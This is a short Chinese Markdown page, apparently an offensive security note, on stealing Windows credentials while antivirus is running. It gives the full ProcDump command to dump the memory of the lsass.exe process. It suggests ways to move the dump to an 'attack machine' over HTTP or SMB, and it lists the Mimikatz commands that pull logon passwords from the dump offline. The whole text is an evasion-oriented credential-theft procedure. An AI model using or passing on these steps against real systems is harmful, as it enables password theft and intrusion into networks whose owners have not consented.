39 lines
2.2 KiB
Markdown
39 lines
2.2 KiB
Markdown
### 内网有杀软又怎么抓
|
|
|
|
**1. 使用 Procdump 转储 lsass.exe 进程**
|
|
|
|
**Procdump** 是微软 Sysinternals 工具集中的一个合法程序，它的主要功能是创建进程的内存转储文件（Memory Dump）。这个工具通常被系统管理员用来诊断程序崩溃
|
|
|
|
由于 Procdump 是一个合法的、微软签名的工具，很多杀毒软件默认将其视为可信程序，或者至少不会像对待 Mimikatz 那样立即拦截它对 `lsass.exe` 的访问
|
|
|
|
- **命令：** `procdump64.exe -accepteula -ma lsass.exe lsass.dmp`
|
|
- **解释：**
|
|
- `-accepteula`：接受许可协议，避免交互式提示
|
|
- `-ma`：指定转储整个内存
|
|
- `lsass.exe`：目标进程
|
|
- `lsass.dmp`：输出的转储文件名
|
|
|
|
执行这个命令后，它会创建一个包含 `lsass.exe` 进程内存数据的 `lsass.dmp` 文件，并将其保存在磁盘上。这一步的重点在于：**没有使用任何恶意工具，只使用了系统管理员常用的合法工具**
|
|
|
|
**2. 将转储文件下载到攻击机**
|
|
|
|
这一步需要你将 `lsass.dmp` 文件从目标服务器下载到你的本地攻击机。你可以使用多种方法，例如：
|
|
|
|
- **HTTP/HTTPS 文件传输：** 在目标机器上通过 `powershell` 或其他工具，将文件上传到你搭建的 Web 服务器。
|
|
- **SMB/SFTP 传输：** 如果网络环境允许，通过 SMB 共享或 SFTP 传输文件
|
|
|
|
这个过程可能会被杀毒软件或网络安全设备检测到，因此需要注意。但即使被检测到，也只是一个数据传输行为，而不是一个恶意代码执行行为
|
|
|
|
**3. 使用 Mimikatz 离线读取转储文件**
|
|
|
|
当 `lsass.dmp` 文件下载到你的攻击机后，你就可以在你的本地机器上运行 Mimikatz，并让它去分析这个转储文件，而不是去连接目标机器的 `lsass.exe` 进程
|
|
|
|
- **命令：**
|
|
- `mimikatz.exe`
|
|
- `privilege::debug`
|
|
- `sekurlsa::minidump lsass.dmp`
|
|
- `sekurlsa::logonpasswords`
|
|
- **解释：**
|
|
- `privilege::debug`：获取调试权限，这是 Mimikatz 正常工作所必需的
|
|
- `sekurlsa::minidump lsass.dmp`：指定 Mimikatz 从 `lsass.dmp` 文件而不是实时进程中读取数据
|
|
- `sekurlsa::logonpasswords`：从加载的转储文件中提取登录凭据 |